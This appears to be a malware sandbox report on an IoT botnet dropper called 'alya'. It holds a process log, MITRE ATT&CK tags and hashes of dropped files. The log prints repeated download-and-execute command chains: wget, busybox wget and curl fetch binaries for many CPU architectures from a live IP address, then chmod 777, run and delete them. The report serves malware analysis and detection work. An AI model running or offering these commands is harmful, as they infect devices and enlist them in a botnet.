- /tmp/alya.mipsel
  ./alya.mipsel android.alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1079
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1080
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1081
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1082
- /bin/chmod
  chmod 777 alya.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1083
- /tmp/alya.mipsel
  ./alya.mipsel android.alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1084
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1086
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1087
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.mipsel
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1088
- /bin/chmod
  chmod 777 alya.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1089
- /tmp/alya.mipsel
  ./alya.mipsel android.alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1090
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1092
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1093
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.sparc
  2⤵
  PID:1094
- /bin/chmod
  chmod 777 alya.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1095
- /tmp/alya.sparc
  ./alya.sparc android.alya.sparc
  2⤵
  PID:1096
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1097
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1098
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.sparc
  2⤵
  - Writes file to tmp directory
  PID:1099
- /bin/chmod
  chmod 777 alya.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1100
- /tmp/alya.sparc
  ./alya.sparc android.alya.sparc
  2⤵
  PID:1101
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1103
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1104
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.sparc
  2⤵
  - Writes file to tmp directory
  PID:1105
- /bin/chmod
  chmod 777 alya.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1106
- /tmp/alya.sparc
  ./alya.sparc android.alya.sparc
  2⤵
  PID:1107
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1109
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1110
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv5l
  2⤵
  PID:1111
- /bin/chmod
  chmod 777 alya.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1112
- /tmp/alya.armv5l
  ./alya.armv5l android.alya.armv5l
  2⤵
  PID:1113
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1114
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1115
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv5l
  2⤵
  - Writes file to tmp directory
  PID:1116
- /bin/chmod
  chmod 777 alya.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1117
- /tmp/alya.armv5l
  ./alya.armv5l android.alya.armv5l
  2⤵
  PID:1118
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1120
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1121
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv5l
  2⤵
  - Writes file to tmp directory
  PID:1122
- /bin/chmod
  chmod 777 alya.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1123
- /tmp/alya.armv5l
  ./alya.armv5l android.alya.armv5l
  2⤵
  PID:1124
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1126
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1127
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.i486
  2⤵
  PID:1128
- /bin/chmod
  chmod 777 alya.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1129
- /tmp/alya.i486
  ./alya.i486 android.alya.i486
  2⤵
  PID:1130
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1131
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1132
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.i486
  2⤵
  - Writes file to tmp directory
  PID:1133
- /bin/chmod
  chmod 777 alya.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1134
- /tmp/alya.i486
  ./alya.i486 android.alya.i486
  2⤵
  PID:1135
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1137
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1138
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.i486
  2⤵
  - Writes file to tmp directory
  PID:1139
- /bin/chmod
  chmod 777 alya.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1140
- /tmp/alya.i486
  ./alya.i486 android.alya.i486
  2⤵
  PID:1141
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1143
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1144
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.m68k
  2⤵
  PID:1145
- /bin/chmod
  chmod 777 alya.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1146
- /tmp/alya.m68k
  ./alya.m68k android.alya.m68k
  2⤵
  PID:1147
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1148
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1149
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.m68k
  2⤵
  - Writes file to tmp directory
  PID:1150
- /bin/chmod
  chmod 777 alya.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1151
- /tmp/alya.m68k
  ./alya.m68k android.alya.m68k
  2⤵
  PID:1152
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1154
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1155
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.m68k
  2⤵
  - Writes file to tmp directory
  PID:1156
- /bin/chmod
  chmod 777 alya.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1157
- /tmp/alya.m68k
  ./alya.m68k android.alya.m68k
  2⤵
  PID:1158
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1160
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1161
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.powerpc
  2⤵
  PID:1162
- /bin/chmod
  chmod 777 alya.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1163
- /tmp/alya.powerpc
  ./alya.powerpc android.alya.powerpc
  2⤵
  PID:1164
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1165
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1166
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.powerpc
  2⤵
  - Writes file to tmp directory
  PID:1167
- /bin/chmod
  chmod 777 alya.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1168
- /tmp/alya.powerpc
  ./alya.powerpc android.alya.powerpc
  2⤵
  PID:1169
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1171
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1172
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.powerpc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1173
- /bin/chmod
  chmod 777 alya.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1174
- /tmp/alya.powerpc
  ./alya.powerpc android.alya.powerpc
  2⤵
  PID:1175
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1177
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1178
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.x86_64
  2⤵
  PID:1179
- /bin/chmod
  chmod 777 alya.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1180
- /tmp/alya.x86_64
  ./alya.x86_64 android.alya.x86_64
  2⤵
  PID:1181
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1182
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1183
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1184
- /bin/chmod
  chmod 777 alya.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1185
- /tmp/alya.x86_64
  ./alya.x86_64 android.alya.x86_64
  2⤵
  PID:1186
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1188
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1189
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1190
- /bin/chmod
  chmod 777 alya.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1191
- /tmp/alya.x86_64
  ./alya.x86_64 android.alya.x86_64
  2⤵
  PID:1192
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1194

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

alya.arc

Path /tmp/alya.arc
Size 89KB
SHA256 46c2213079848ee09d843de65a67b63ab061f3002fcf70e63e5d9c6a974fc69c
MD5 16ef618bf21a3322c6793be87d553f08
SHA1 18eee478866d0829560ed0c11c4f6e1faa5dffbc
SHA512 90b24fcee9f09d8f6fd3496303a176e4747e6437e075abd633a6b5fe1d522688e776166fc5749ce840923ada8d82b72ecc40bf9a341e187a9183d7bea6f03040
SSDEEP 1536:W/MlrduOjiw2kDji1tVudPvivfb3Ugz/LWeX:W6jqkDjGvu9vivz3Ugzqe
TLSH
T1E9936ACBF60B9992CC1146F04BC75B9E3E172221DE1398F33C1E6A76447A1DB990A7D2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cmdline

Path /tmp/cmdline
Size 11B
SHA256 6628c1ade33319fc12730a87856ccdb1e4eaed9a0aa2b0bce0535a97a232f272
MD5 88af90d1f18b944c6d2365f389b9bfe5
SHA1 9cb724a1fb906a66b81d24a84257e3cf69b69214
SHA512 254c37d06ebbff6b4e7c1ee2e354e142e7c8fc26c8b396712b875979de4234bc121225e765eb65d3008fa159488b245c0e30d613a9f99c90519f1b1b184178d4
MD5 SHA1 SHA512

Submit Download

stat

Path /tmp/stat
Size 264B
SHA256 ea2abad1688db9f83f89b10e10ba611b6450ab40f97c4340d0a211ccacbe8169
MD5 0149ff987c3612d1bce64a184028a62e
SHA1 9d329f4a5f6ebc18afba64f20bee33796068e1a0
SHA512 f9cacf233ca0f1b4e15533d880ef6d1a80b2e3be7c31086a343f1aba903bdd5c602c0693deb142f0b521c9881341b295a48d81e5a4448980c7ee8775dc9cad38
TLSH
T112D0C278C00614AC480BD148D94AA0615B5CE87635325E9908CDCEF49C43A6AC0A3C01
MD5 SHA1 SHA512 TLSH

Submit Download

stat

Path /tmp/stat
Size 264B
SHA256 61c1961d8c8259be2a4c62d71a1323d5e93647d0a80bcc388525eb0cdf7c2de2
MD5 794234e692b301f7234ed6faa16db45c
SHA1 123f7ccafca9681f2496a1ddfb42d4b8bfff08e7
SHA512 6e6826765bca38ec9a10ff7cfe3565002d2da64a7d4064ac852473a4cb26bb9ad3acf7d5d4b448a83fdc468a3a6d465e2c53d33f52966d881106a277f922edca
TLSH
T1A7D0C230C04414AD080ED884D853A090AB4CA8BA343609DA0CCDCE729C47B26C963C00
MD5 SHA1 SHA512 TLSH

Submit Download

stat

Path /tmp/stat
Size 263B
SHA256 659aa7b04605192f781f00bd165c38074bbe6ab2d13e8692fb9a56e131b5fb65
MD5 afdbb606cc5a3ad78574f77999098dad
SHA1 4fb1414c54dac8d3b7a2f2a8a5e0f38a9a26232f
SHA512 a1ba1ccde3fa67906f17caa413c50e3cb85185ce987f64ec12346c2a407922452bccd2a9daca0844ff6783f9623bb588b7abcb0728946d0c608c1866c7f3fc4f
TLSH
T124D0C234C00914AC5D0AC1449806A5A05B5CE8B635331A990CCDCEB09C43A66C467C01
MD5 SHA1 SHA512 TLSH

Submit Download

statm

Path /tmp/statm
Size 26B
SHA256 e0cbf9b6c592af1a2c56fab8cb36710958613129b7499348cbb51f3b5c2778eb
MD5 e4d7e499cbfdb5e88531838592486aca
SHA1 44033c5941904d1efa1b1b3e1322902d556cc58c
SHA512 f0bf8d3b39435074850360d6fa1ee8c91c397a98e8aff1b7d01ee2f81ee2725c2a1b9c730c28988a2266a709ebbe2a5feccba42d29d6d94d93ea4b95722975af
MD5 SHA1 SHA512

Submit Download

statm

Path /tmp/statm
Size 27B
SHA256 448b797b75d6e03e0511bccd143534a0ed987f8dd33c13e2db8f27c743815a5b
MD5 e0fcdb345fbc28e7bcea72bee7825e8f
SHA1 f036a49b2365fe0bf9510dc0fc09f009ec949587
SHA512 af00f32a8d2544328f97e5f377a4dde08a3af51203acb5ac6a3745eaa5da9aa535fa4586d62e0708d6bf0c669b10cba89015ef1d296bf6dbf8b3b82e8901da67
MD5 SHA1 SHA512

Submit Download

statm

Path /tmp/statm
Size 28B
SHA256 7d46162b794b3bab131fe12cf8b370222b8a68e8978ca68d4436f54af6fb27d6
MD5 812cabd06351294c651411cca25c963d
SHA1 74560bc01b7edd00690bbb291a5aad20492db938
SHA512 b5ef7eb82869c490e678ff510cc15dacaed5c830e619779a178089ce6ad01b610512e10de9d4aede45d16e25b45986af759d4ce9837ffaf4d3cde6f7250388b5
MD5 SHA1 SHA512

Submit Download

status

Path /tmp/status
Size 1KB
SHA256 bc48e9d803d68bcae90bab68c1a2fa16be22abeafccbc13951b931327b58ea17
MD5 dc71b95d919d51b9ead1aa5fb71dd49b
SHA1 972101e7e50946361a06bc5de0fd635cb4db84da
SHA512 1a7680d92d86b2ed0f7878852efe24c25b7c0e765d303dce5c562610b9ab38af44fd922d4714fd87cc88655f070dc5be1eb9d96e9d4a10aec2ef123ac3d2f70b
TLSH
T19E1125158FE7AC98DABE838814AAF4016075F61A68D06131304EC97CFB3769FA7988D4
MD5 SHA1 SHA512 TLSH

Submit Download

status

Path /tmp/status
Size 1KB
SHA256 590ddcf13b89dac3a361e4c8daa75089145385aec4348784a2d33a0f647afea1
MD5 9b3091974d1cba2b6c66db70e0e2a3ae
SHA1 319458b8c92e33db7a2f63d36a4d076ef17587ed
SHA512 8690fd4daab58f54f2d459704b36c7a58e0d0d678850ed97b9f67d4b64b20d55b8cfb9a5e5ab5bf174cb17fb35a40bf3ba3f3404c7266fd4fb8081e44fbac931
TLSH
T13F1155159FE7AC94CABE8348046AF4012074F21968D06135300DC978FF3329FA7888D4
MD5 SHA1 SHA512 TLSH

Submit Download

status

Path /tmp/status
Size 1KB
SHA256 8648bc10f260124f5bd94181e4c9a6bf816cc2d235dd8c0a06e792e56d484134
MD5 d07a41667989cf6f455c0bf86f7cebf1
SHA1 27bc7452189a2e0a27c3718363a2f8d629d8277e
SHA512 b811c4531657f6e5bb441dc4caef1d5f475b42cc915349381f702346c22baa5ab559c6a1fd2b29c0c6cc14bcdd9174137813d2b9e6bbd03feac5b02af35b59db
TLSH
T17C1155158FE7ACD4CABE8348046AF40020B5F21968D06131304DC878FB3368FA7988D4
MD5 SHA1 SHA512 TLSH

Submit Download

wget

Path /usr/bin/wget
Size 58KB
SHA256 297ff31af29e689132ba195ac016be0d3d4c56b140781a7ffdf13098105c5871
MD5 65d94c9dddea41ef4690f193fbc54ec3
SHA1 3d48db1dfb3ab4cb1c68ea7f79e4c07bc63ba85c
SHA512 71143aee944869f8350ea95df56c060e00a0f316e05d0176462c08e59e811456610fe10307ef80232b1f832afcda5f036f71476256ed500eefb8e29a9f312a37
SSDEEP 1536:VQj3eT5x/7aEninSUr5CBngMIjj7UbUEeVQpXYhj5S:VkeT5x/2EninS+lMIjgXYLS
TLSH
T19143B64A6E315FDDF36987344BB74A30A76923C522E1D788E29CD5010F7034EA85FBA9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads